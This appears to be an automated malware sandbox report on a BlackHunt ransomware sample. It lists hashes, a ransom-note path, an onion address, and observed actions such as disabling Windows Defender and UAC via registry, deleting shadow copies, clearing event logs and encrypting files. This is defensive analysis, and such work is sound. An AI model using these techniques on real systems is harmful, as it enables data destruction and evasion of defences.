Analysis
-
max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:46
Static task
static1
Behavioral task
behavioral1
Sample
c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Resource
win10v2004-20231215-en
General
-
Target
c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
-
Size
707KB
-
MD5
15e170c384462e8dd68e531132665063
-
SHA1
bd738c370c796775ca9e5216719e0e5454f1bc18
-
SHA256
c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed
-
SHA512
0a97dc8b74f5d4c2c13bf03a94649712b5e594f15ae667ac3e2cf49d61b70b503fe029e59eb1bc0b271cf0ea670f49cfb6543be9a5407b5762664c5dd1e799e6
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1D8svnh:6uaTmkZJ+naie5OTamgEoKxLWiyh
Malware Config
Extracted
C:\Program Files\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3788 fsutil.exe 3512 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2072 wevtutil.exe 2664 wevtutil.exe 1032 wevtutil.exe 3632 wevtutil.exe 2424 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 3536 bcdedit.exe 3840 bcdedit.exe 3592 bcdedit.exe 3012 bcdedit.exe -
Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 3820 wbadmin.exe 2956 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 1968 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\L: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\E: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\S: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\K: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\X: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\W: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\Y: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\I: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\P: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\T: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\M: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\B: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\O: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\G: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\V: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\N: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\U: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\J: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\Z: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\A: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\H: c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened (read-only) \??\F: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DebugPublish.snd c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_ja.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Vilnius c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_SelectionSubpicture.png c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Curacao c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.properties c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-tabcontrol.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\7-Zip\Lang\kaa.txt c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt_3.103.1.v20140903-1938.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\org-openide-filesystems.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_CopyNoDrop32x32.gif c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Ushuaia c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_ReadMe.hta c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_zh_CN.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Currie c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Apia c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Sofia c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\release c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-print.xml c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.hta c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_ReadMe.txt c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.registry_1.1.300.v20130402-1529.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\batch_window.html c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\7-Zip\Lang\mk.txt c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-api.xml c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Mendoza c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jvmti.h c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler.xml c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-api-caching.xml c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Algiers c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Macau c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.hta c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search5.api c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\PDXFile_8.ico c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\#BlackHunt_ReadMe.txt c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui_4.0.100.v20140401-0608.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sa.xml c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console.nl_zh_4.4.0.v20140623020002.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_Private.key c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rankin_Inlet c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.hta c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-tools.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator_1.1.0.v20131217-1203.jar c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3436 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1912 vssadmin.exe 2296 vssadmin.exe 3164 vssadmin.exe 3668 vssadmin.exe 3684 vssadmin.exe 3816 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2420 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2104 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3300 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeRestorePrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeBackupPrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeTakeOwnershipPrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeAuditPrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeSecurityPrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeIncBasePriorityPrivilege 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Token: SeBackupPrivilege 3912 vssvc.exe Token: SeRestorePrivilege 3912 vssvc.exe Token: SeAuditPrivilege 3912 vssvc.exe Token: SeBackupPrivilege 3392 wbengine.exe Token: SeRestorePrivilege 3392 wbengine.exe Token: SeSecurityPrivilege 3392 wbengine.exe Token: SeSecurityPrivilege 2664 wevtutil.exe Token: SeSecurityPrivilege 2072 wevtutil.exe Token: SeBackupPrivilege 2664 wevtutil.exe Token: SeBackupPrivilege 2072 wevtutil.exe Token: SeSecurityPrivilege 1032 wevtutil.exe Token: SeBackupPrivilege 1032 wevtutil.exe Token: SeSecurityPrivilege 3632 wevtutil.exe Token: SeBackupPrivilege 3632 wevtutil.exe Token: SeSecurityPrivilege 2424 wevtutil.exe Token: SeBackupPrivilege 2424 wevtutil.exe Token: SeDebugPrivilege 2420 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1644 wrote to memory of 2924 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 29 PID 1644 wrote to memory of 2924 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 29 PID 1644 wrote to memory of 2924 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 29 PID 1644 wrote to memory of 2924 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 29 PID 1644 wrote to memory of 2928 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 31 PID 1644 wrote to memory of 2928 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 31 PID 1644 wrote to memory of 2928 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 31 PID 1644 wrote to memory of 2928 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 31 PID 1644 wrote to memory of 2432 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 33 PID 1644 wrote to memory of 2432 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 33 PID 1644 wrote to memory of 2432 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 33 PID 1644 wrote to memory of 2432 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 33 PID 1644 wrote to memory of 2320 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 35 PID 1644 wrote to memory of 2320 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 35 PID 1644 wrote to memory of 2320 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 35 PID 1644 wrote to memory of 2320 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 35 PID 1644 wrote to memory of 2700 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 36 PID 1644 wrote to memory of 2700 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 36 PID 1644 wrote to memory of 2700 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 36 PID 1644 wrote to memory of 2700 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 36 PID 2928 wrote to memory of 2804 2928 cmd.exe 38 PID 2928 wrote to memory of 2804 2928 cmd.exe 38 PID 2928 wrote to memory of 2804 2928 cmd.exe 38 PID 2924 wrote to memory of 2800 2924 cmd.exe 39 PID 2924 wrote to memory of 2800 2924 cmd.exe 39 PID 2924 wrote to memory of 2800 2924 cmd.exe 39 PID 1644 wrote to memory of 2788 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 41 PID 1644 wrote to memory of 2788 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 41 PID 1644 wrote to memory of 2788 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 41 PID 1644 wrote to memory of 2788 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 41 PID 2432 wrote to memory of 2752 2432 cmd.exe 42 PID 2432 wrote to memory of 2752 2432 cmd.exe 42 PID 2432 wrote to memory of 2752 2432 cmd.exe 42 PID 1644 wrote to memory of 2728 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 43 PID 1644 wrote to memory of 2728 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 43 PID 1644 wrote to memory of 2728 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 43 PID 1644 wrote to memory of 2728 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 43 PID 1644 wrote to memory of 2132 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 44 PID 1644 wrote to memory of 2132 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 44 PID 1644 wrote to memory of 2132 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 44 PID 1644 wrote to memory of 2132 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 44 PID 1644 wrote to memory of 2712 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 47 PID 1644 wrote to memory of 2712 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 47 PID 1644 wrote to memory of 2712 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 47 PID 1644 wrote to memory of 2712 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 47 PID 1644 wrote to memory of 2996 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 48 PID 1644 wrote to memory of 2996 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 48 PID 1644 wrote to memory of 2996 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 48 PID 1644 wrote to memory of 2996 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 48 PID 1644 wrote to memory of 2356 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 51 PID 1644 wrote to memory of 2356 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 51 PID 1644 wrote to memory of 2356 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 51 PID 1644 wrote to memory of 2356 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 51 PID 1644 wrote to memory of 2912 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 136 PID 1644 